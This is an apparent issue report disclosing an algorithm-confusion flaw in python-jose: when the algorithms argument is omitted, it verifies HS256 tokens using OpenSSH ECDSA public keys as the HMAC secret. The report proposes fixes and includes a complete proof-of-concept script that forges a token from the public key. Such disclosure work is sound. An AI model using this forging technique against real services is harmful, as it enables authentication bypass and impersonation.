Algorithm confusion with OpenSSH ECDSA keys and other key formats

[milliesolem]

Issue description

If the algorithm field is left unspecified when calling jwt.decode, the library will allow HS256 verification with OpenSSH ECDSA public keys, and similar key formats. PyJWT had this excact same issue/vulnerability, tracked under CVE-2022-29217

The issue stems from two sources:

1. the algorithms field in jwt.decode is not mandatory, allowing developers to shoot themselves in the foot
2. inadequate protections in the cryptography backend allowing for HMAC verification with an asymmetric public key

In the file jose/backends/cryptography_backend.py, lines 555-560, the list invalid_strings is defined as a blacklist against public key prefixes. This is to disallow the verification of HMAC tokens with asymmetric public keys.

invalid_strings = [
            b"-----BEGIN PUBLIC KEY-----",
            b"-----BEGIN RSA PUBLIC KEY-----",
            b"-----BEGIN CERTIFICATE-----",
            b"ssh-rsa",
        ]

This is not adequate protection, as any public key which does not contain these prefixes would slip through the cracks. Like for example OpenSSH ECDSA public keys.

Proposed solution

Same solution as for the patch for CVE-2022-29217. A more thorough, comprehensive check of whether the verifying key is asymmetric, see here.

Also make non-usage of the algorithms keyword throw an exception, or at the very least a warning, so that the developer at least knows they are doing something silly by not using it.

Proof-of-Concept

Here is a simplified Proof-of-Concept using pycryptodome for key generation that illustrates one way this could be exploited

from jose import jwt
from Crypto.PublicKey import ECC
from Crypto.Hash import HMAC, SHA256
import base64

# ----- SETUP -----

# generate an asymmetric ECC keypair
# !! signing should only be possible with the private key !!
KEY = ECC.generate(curve='P-256')

# PUBLIC KEY, AVAILABLE TO USER
# CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
# https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm#Public_key_recovery
# https://github.com/FlorianPicca/JWT-Key-Recovery
PUBKEY = KEY.public_key().export_key(format='OpenSSH').encode()

# ---- CLIENT SIDE -----

# without knowing the private key, a valid token can be constructed
# YIKES!!

b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
hasher = HMAC.new(PUBKEY, digestmod=SHA256)
hasher.update(payload)
evil_token = payload + b'.' + b64(hasher.digest())
print("😈",evil_token)

# ---- SERVER SIDE -----

# verify and decode the token using the public key, as is custom
# algorithm field is left unspecified
# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
data = jwt.decode(evil_token, PUBKEY)
if data["pwned"]:
    print("BIG OOF💀")

[milliesolem]

This vulnerability is now tracked under CVE-2024-33663